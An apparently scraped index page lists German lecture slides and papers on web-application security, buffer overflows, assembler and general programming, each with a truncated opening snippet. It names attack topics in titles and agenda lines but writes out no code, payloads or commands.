Einführung in Web-Security Alexander»alech«Klink Gulaschprogrammiernacht 2013 Agenda Cross-Site-Scripting (XSS) Authentifizierung und Sessions Cross-Site-Request-Forgery ([XC]SRF) SQL-Injections Autorisierungsprobleme
Funktionen. Überblick über Stored Functions. Syntax zum Schreiben einer Funktion. Schreiben einer Funktion
Überblick über Stored Functions Funktionen Eine Funktion ist ein benannter PL/SQL- Block, der einen Wert zurückgibt. Eine Funktion kann in der Datenbank als Objekt zur wiederholbaren Ausführung gespeichert
Matthias Hanreich - TheGreyKnight
Matthias Hanreich - TheGreyKnight Grundlagen Code Injection Beispiel: Buffer Overflow Gegenmaßnahmen Code Injection Return Oriented Programming (ROP) Gegenmaßnahmen ROP Demonstration CVE-2012-4969 Hands
Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen
FAEL-Seminar Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen Prof. Dr. Marc Rennhard Institut für angewandte Informationstechnologie InIT ZHAW Zürcher Hochschule für Angewandte
Heute schon gehackt (worden)?
Spiq: Heute schon gehackt (worden)? 1. März 2012 Dr. Steffen NORBERT, CISA, OSCP & OSCE ([email protected]) 2 von 30 Die unvermeidliche Folie über den Vortragenden Ich bin die Firma Iseconsult,
Abstrakte C-Maschine und Stack
Abstrakte C-Maschine und Stack Julian Tobergte Proseminar C- Grundlagen und Konzepte, 2013 2013-06-21 1 / 25 Gliederung 1 Abstrakte Maschine 2 Stack 3 in C 4 Optional 5 Zusammenfassung 6 Quellen 2 / 25
Programmiertechnik. Teil 4. C++ Funktionen: Prototypen Overloading Parameter. C++ Funktionen: Eigenschaften
Programmiertechnik Teil 4 C++ Funktionen: Prototypen Overloading Parameter C++ Funktionen: Eigenschaften Funktionen (Unterprogramme, Prozeduren) fassen Folgen von Anweisungen zusammen, die immer wieder
Unified-E Standard WebHttp Adapter
Unified-E Standard WebHttp Adapter Version: 1.5.0.2 und höher Juli 2017 Inhalt 1 Allgemeines... 2 2 Adapter-Parameter in Unified-E... 2 3 Symbolische Adressierung... 3 3.1 ReadValues-Methode... 4 3.2 WriteValues
U23 Assembler Workshop
Ike e.v. http://koeln.ccc.de 2016-11-05 Überblick 1 CPU, Assembler Überblick x86 x86 Assembler 2 RAM, Stack, Calling Conventions Stack Calling Conventions Stackframes 3 Branches Jumps 4 Speicher, C-Interface
Konstruktor/Destruktor
1/23 Konstruktor/Destruktor Florian Adamsky, B. Sc. (PhD cand.) [email protected] http://florian.adamsky.it/ cbd Softwareentwicklung im WS 2014/15 2/23 Outline 1 2 3/23 Inhaltsverzeichnis 1 2
Zeiger in C und C++ Zeiger in Java und C/C++
1 Zeiger in Java und C/C++ Zeigervariable (kurz: Zeiger, engl.: pointer): eine Variable, die als Wert eine Speicheradresse enthält Java: Zeiger werden implizit für Referenztypen (Klassen und Arrays) verwendet,
Hacker-Methoden in der IT- Sicherheitsausbildung. Dr. Martin Mink
Hacker-Methoden in der IT- Sicherheitsausbildung Dr. Martin Mink Hacker-Angriffe 3.11.2010 Hacker-Methoden in der IT-Sicherheitsausbildung Dr. Martin Mink 2 Typische Angriffe auf Web- Anwendungen SQL Injection
Welche Gefahren gehen vom Firmenauftritt im Internet aus?
Die Webseite als Eintrittspunkt Welche Gefahren gehen vom Firmenauftritt im Internet aus? Bekannt gewordene Schwachstellen & Angriffe Bekannt gewordene Schwachstellen & Angriffe Quelle: http://www.vulnerability-db.com/dev/index.php/2014/02/06/german-telekom-bug-bounty-3x-remote-vulnerabilities/
Advanced Web Hacking. Matthias Luft Security Research [email protected]
Advanced Web Hacking Matthias Luft Security Research [email protected] ERNW GmbH. Breslauer Str. 28. D-69124 Heidelberg. www.ernw.de 6/23/2010 1 ERNW GmbH Sicherheitsdienstleister im Beratungs- und Prüfungsumfeld
Buffer Overflow. Denis Graf, Tim Krämer, Konstantin Schlese. Universität Hamburg Fachbereich Informatik. 6. Januar 2013
Buffer Overflow Denis Graf, Tim Krämer, Konstantin Schlese Universität Hamburg Fachbereich Informatik 6. Januar 2013 Agenda 1. Einführung Allgemeines über Buffer Overflows Historische Angriffe Definition
Exploits Wie kann das sein?
Exploits Durch eine Schwachstelle im Programm xyz kann ein Angreifer Schadcode einschleusen. Manchmal reicht es schon irgendwo im Internet auf ein präpariertes Jpg-Bildchen zu klicken und schon holt man
Assembler (NASM) Crashkurs von Sönke Schmidt
Sönke Schmidt (NASM) Crashkurs von Sönke Schmidt Berlin, 4.11.2015 Meine Webseite: http://www.soenke-berlin.de NASM Was ist das? nach Wikipedia: Ein ist ein Programmierwerkzeug, das ein in maschinennaher
Use of the LPM (Load Program Memory)
Use of the LPM (Load Program Memory) Use of the LPM (Load Program Memory) Instruction with the AVR Assembler Load Constants from Program Memory Use of Lookup Tables The LPM instruction is included in the
Assembler - Adressierungsarten
Assembler - Adressierungsarten Dr.-Ing. Volkmar Sieh Department Informatik 3: Rechnerarchitektur Friedrich-Alexander-Universität Erlangen-Nürnberg SS 2008 Assembler - Adressierungsarten 1/31 2008-04-01
Programmiersprachen Einführung in C
Programmiersprachen Einführung in C Teil 2: Prof. Dr. Unser erstes C-Programm int main (int argc, char *argv[]) int i; int sum = 0; for (i = 0; i
Secure Coding & Live Hacking von Webapplikationen. Conect Informunity 8.3.2011
Secure Coding & Live Hacking von Webapplikationen Conect Informunity 8.3.2011 Dr. Ulrich Bayer Security Research Sicherheitsforschung GmbH Motivation Datendiebstahl über (Web)-Applikationen passiert täglich
U23 Assembler Workshop
Ike e.v. http://koeln.ccc.de 2016-11-05 Überblick 1 CPU, Assembler Überblick x86 x86 Assembler 2 RAM, Stack, Calling Conventions Stack Calling Conventions Stackframes 3 Branches Jumps 4 Speicher, C-Interface
Übersicht. Race Conditions Buffer Overflows Heap Overflows Exkurs: Stackaufbau bei Intel x86 Exkurs: Shellcode Stack Overflows
Übersicht Race Conditions Buffer Overflows Heap Overflows Exkurs: Stackaufbau bei Intel x86 Exkurs: Shellcode Stack Overflows Integer Overflows Format-String-Angriffe (SQL) Injection Cross Site Scripting
Aktuelle Bedrohungen im Internet
Aktuelle Bedrohungen im Internet Max Klaus, MELANI Bedrohungen von Webanwendungen Reto Inversini, BIT Botnetze webreaders.de/wp-content/uploads/2008/01/botnetz.jpg ISB / NDB Melde- und Analysestelle Informationssicherung
Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen
Aktuelle Sicherheitsprobleme im Internet: Angriffe auf Web-Applikationen Dr. Marc Rennhard Institut für angewandte Informationstechnologie Zürcher Hochschule Winterthur [email protected] Angriffspunkt
itsc Admin-Tag OWASP Top 10 Tobias Ellenberger COO & Co-Partner OneConsult GmbH 2013 OneConsult GmbH www.oneconsult.com
itsc Admin-Tag OWASP Top 10 Tobias Ellenberger COO & Co-Partner OneConsult GmbH 13.03.2013 Agenda Vorstellung Open Web Application Security Project (OWASP) Die OWASP Top 10 (2013 RC1) OWASP Top 3 in der
Destructive AJAX. Stefan Proksch Christoph Kirchmayr
Destructive AJAX Stefan Proksch Christoph Kirchmayr AJAX-Einführung Asynchronous JavaScript And XML Clientseitiger JavaScript-Code Asynchrone Kommunikation XML DOM Klassisches Client-Server Modell AJAX-Modell
Institut für Programmierung und Reaktive Systeme. Java 2. Markus Reschke
Java 2 Markus Reschke 07.10.2014 Datentypen Was wird gespeichert? Wie wird es gespeichert? Was kann man mit Werten eines Datentyps machen (Operationen, Methoden)? Welche Werte gehören zum Datentyp? Wie
Programmiersprachen Einführung in C. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm. Unser erstes C-Programm
Programmiersprachen Einführung in C Teil 2: Prof. Dr. int main (int argc, char *argv[]) int sum = 0; for (i = 0; i
x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013
x86 Assembler Praktische Einführung Sebastian Lackner Michael Müller 3. Juni 2013 1 / 53 Inhaltsverzeichnis 1 Einführung 2 Assembler Syntax, Register und Flags 3 Hauptspeicher 4 Stack 5 Assemblerbefehle
Web Applications Vulnerabilities
Bull AG Wien Web Applications Vulnerabilities Philipp Schaumann Dipl. Physiker Bull AG, Wien www.bull.at/security Die Problematik Folie 2 Der Webserver ist das Tor zum Internet auch ein Firewall schützt
Java Übung. Übung 3. Werner Gaulke. 2. Mai Universität Duisburg-Essen Kommedia, Übung EinPro SS06, Einführung in Java - Übung.
Java Übung Übung 3 Universität Duisburg-Essen Kommedia, Übung EinPro SS06, 2. Mai 2006 (UniDUE) 2. Mai 2006 1 / 17 Aufgabe 1 Umwandeln von do while in for Schleife. Listing 1: aufgabe3 1.java 1 public
Übung 1 mit C# 6.0 MATTHIAS RONCORONI
Übung 1 mit C# 6.0 MATTHIAS RONCORONI Inhalt 2 1. Überblick über C# 2. Lösung der Übung 1 3. Code 4. Demo C# allgemein 3 aktuell: C# 6.0 mit.net-framework 4.6: Multiparadigmatisch (Strukturiert, Objektorientiert,
Karlsruher Institut für Technologie
Karlsruher Institut für Technologie Lehrstuhl für Programmierparadigmen Sprachtechnologie und Compiler WS 2010/2011 Dozent: Prof. Dr.-Ing. G. Snelting Übungsleiter: Matthias Braun Lösung zu Übungsblatt
Hackerpraktikum SS 202
Hackerpraktikum SS 202 Philipp Schwarte, Lars Fischer Universität Siegen April 17, 2012 Philipp Schwarte, Lars Fischer 1/18 Organisation wöchentliche Übung mit Vorlesungsanteil alle zwei Wochen neue Aufgaben
The app the crashes, before the breakpoint is reached: Code to the event:
I have set a breakpoint in an asyc event-handler to ListView.ItenTapped-Event (see screenshot below): I then tap on an ListView-entry on my iphone 5 The app the crashes, before the breakpoint is reached:
Introduction to Python. Introduction. First Steps in Python. pseudo random numbers. May 2016
to to May 2016 to What is Programming? All computers are stupid. All computers are deterministic. You have to tell the computer what to do. You can tell the computer in any (programming) language) you
Hinweise C-Programmierung
Hinweise C-Programmierung Dr.-Ing. Volkmar Sieh Department Informatik 4 Verteilte Systeme und Betriebssysteme Friedrich-Alexander-Universität Erlangen-Nürnberg WS 2016/2017 V. Sieh Hinweise C-Programmierung
Laufzeitanalyse & Manipulation von Apple ios Apps OWASP 07.11.2012. The OWASP Foundation http://www.owasp.org. Andreas Kurtz
Laufzeitanalyse & Manipulation von Apple ios Apps Andreas Kurtz 07.11.2012 NESO Security Labs GmbH Universität Erlangen-Nürnberg [email protected] Copyright The Foundation Permission is granted to
2. Interaktive Web Seiten. action in Formularen. Formular. Superglobale Variablen $ POST, $ GET und $ REQUEST. GET und POST
2. Interaktive Web Seiten GET und POST Die Übertragungsmethoden GET und POST sind im http Protokoll definiert: POST: gibt an, dass sich weitere Daten im Körper der übertragenen Nachricht befinden: z.b.
Anhang A - Weitere Bibliotheken. Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842.
Anhang A - Weitere Bibliotheken WAGO-I/O-PRO 32 Bibliothek Mail_02.lib Die Bibliothek Mail_02.lib ermöglicht das Versenden von Emails mit dem Ethernet-Controller 750-842. Inhalt Mail_02.lib 3 MAIL_SmtpClient...
<Insert Picture Here> APEX? Aber sicher! Tipps und Tricks für eine sichere APEX-Umgebung. Carsten Czarski, ORACLE Deutschland B.V. Co.
APEX? Aber sicher! Tipps und Tricks für eine sichere APEX-Umgebung Carsten Czarski, ORACLE Deutschland B.V. Co. KG Themen Grundsätzliches zur APEX-Architektur Security-Attribute in
JavaScript clientseitige Programmiersprache zur Dynamisierung von Internetseiten
Einführung in JavaScript anhand von Beispielen JavaScript clientseitige Programmiersprache zur Dynamisierung von Internetseiten Grundbedingungen die Einbindung erfolgt über ein Objektmodell (Objekte mit
Typo3 - Schutz und Sicherheit - 07.11.07
Typo3 - Schutz und Sicherheit - 07.11.07 1 Angriffe auf Web-Anwendungen wie CMS oder Shop- Systeme durch zum Beispiel SQL Injection haben sich in den letzten Monaten zu einem Kernthema im Bereich IT- Sicherheit
<body> <h1>testseite für HTML-Parameter-Übergabe<br>50 Parameter werden übergeben</h1>
Demo-Programme Parameterübergabe an PHP Testseite für HTML-Parameter-Übergabe (Datei get_param_test.html) testseite für
Aktuelle Angriffstechniken. Steffen Tröscher cirosec GmbH, Heilbronn
Aktuelle Angriffstechniken Steffen Tröscher cirosec GmbH, Heilbronn Gliederung Angriffe auf Webanwendungen Theorie und Live Demonstrationen Schwachstellen Command Injection über File Inclusion Logische
V10 I, Teil 2: Web Application Security
IT-Risk-Management V10 I, Teil : Web Application Security Tim Wambach, Universität Koblenz-Landau Koblenz, 9.7.015 Agenda Einleitung HTTP OWASP Security Testing Beispiele für WebApp-Verwundbarkeiten Command
Web Hacking - Angriffe und Abwehr
Web Hacking - Angriffe und Abwehr UNIX-Stammtisch 31. Januar 2012 Frank Richter Holger Trapp Technische Universität Chemnitz Universitätsrechenzentrum Motivation (1): Für uns Lehrveranstaltung: Techniken
Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen
Heap vs. vs. statisch Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen
Variablen. int Flugzeug. float. I write code Hund. String. long. Borchers: Programmierung für Alle (Java), WS 06/07 Kapitel
4213 Variablen 17.834 float Flugzeug 36812736294 I write code Hund long String Borchers: Programmierung für Alle (Java), WS 06/07 Kapitel 3 + 4 1 Variablen sind wie Becher. Sie speichern etwas. // Variablen
Hacking in C (Windows) Reinhard Oertel
Hacking in C (Windows) Reinhard Oertel Agenda Einleitung Techniken Hintergrundwissen Buffer-Overflow Zusammenfassung 03.06.11 Hacking in C 2/36 Meldungen 2011 Quelle: Spiegel.de 03.06.11 Hacking in C 3/36
Paper: Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications
Paper: Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications Referat von Georg Räß und Kevin Virmani Paper geschrieben von Marco Balduzzi,Carmen Torrano Gimenez,Davide Balzarotti
Home-Router als Einfallstor ins Firmennetzwerk?
Home-Router als Einfallstor ins Firmennetzwerk? [email protected] BeerTalk, 9. November 2015 Compass Security Deutschland GmbH Tauentzienstr. 18 De-10789 Berlin Tel. +49 30 21 00 253-0 Fax +49 30
PHP-(Un-)Sicherheit. Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim.
Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim Tim Weber 9. November 2006 Übersicht 1. Die Sprache PHP 2. Sicherheitslücken und Angriffsszenarien
Programmier-Befehle - Woche 10
Funktionen Rekursion Selbstaufruf einer Funktion Jeder rekursive Funktionsaufruf hat seine eigenen, unabhängigen Variablen und Argumente. Dies kann man sich sehr gut anhand des in der Vorlesung gezeigten
Heap vs. Stack vs. statisch. 6 Speicherorganisation. Beispiel Statische Variablen. Statische Variablen
Heap vs. vs. statisch Der Speicher des Programms ist in verschiedene Speicherbereiche untergliedert Speicherbereiche, die den eigentlichen Programmcode und den Code der Laufzeitbibliothek enthalten; einen
Zusammenfassung Web-Security-Check ZIELSYSTEM
Zusammenfassung Web-Security-Check ZIELSYSTEM für KUNDE (nachfolgend Auftraggeber genannt) von secudor GmbH Werner-von-Siemensstraße 6 Gebäude 9 86159 Augsburg (nachfolgend Auftragnehmer genannt) Inhalt
Übung 1 - Betriebssysteme I
Prof. Dr. Th. Letschert FB MNI 13. März 2002 Aufgabe 0: Basiswissen Rechnerarchitektur: Übung 1 - Betriebssysteme I Aus welchen Komponenten besteht ein Rechner mit Von-Neumann Architektur? Was sind Bits
Software Security. Andreas Kostecka Alexander Miller Patrick Rappensberger
Software Security Andreas Kostecka Alexander Miller Patrick Rappensberger Inhalt Buffer Overrruns Integer Overflows Heap-Overflow Attack Format String Attack SQL Injection Buffer Overrruns Was ist 'Buffer
Dynamische Webseiten mit PHP. Oder: LAMP - The open way
Dynamische Webseiten mit PHP Oder: LAMP - The open way Verbreitung Neben ASP verbreitetste Web-Scripting-Umgebung LAMP (Linux, Apache, mysql, PHP): freie Alternative zu M$ Überblick Dynamische Webseiten
Gamperl & Hatlapa GmbH Modem/WiFi settings
1. Log in - Anmelden Pic001 device front / Gerätevorderseite Pic002 Login screen / Anmeldebildschirm Connect your computer to one of the Ethernetports on the front (Pic001) of the modem. Start your browser
XSS for fun and profit
5. Chemnitzer Linux-Tag 1.-2.- März 2003 XSS for fun and profit Theorie und Praxis von Cross Site Scripting (XSS) Sicherheitslücken, Diebstahl von Cookies, Ausführen von Scripten auf fremden Webservern,
Hausarbeit. Thema: Computersicherheit. Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010
1 Friedrich-Schiller-Universität Jena Informatik B.Sc. Wintersemester 2009 / 2010 Hausarbeit Thema: Computersicherheit Seminar: Datenschutz und Datenpannen Verfasser: Dmitrij Miller Abgabetermin: 5.3.2010
aibrowser Ausgabe
aibrowser Ausgabe 17.01.2018 Inhalt 1 Start und Menü-Balken...2 Einstellungen...3 General...3 Autologin...4 Info...5 Übergabe der Scan-Daten an den aibrowser...6 Methode 1: JavaScript Function Call...6
Funktionen nur wenn dann
Funktionen nur wenn dann Funktionen können auch nur in bestimmten Fällen angewendet werden. Code wird nur in einem bestimmten Fall ausgeführt Code Ja Code Block wahr if wahr? Nein else Code Block Alternative
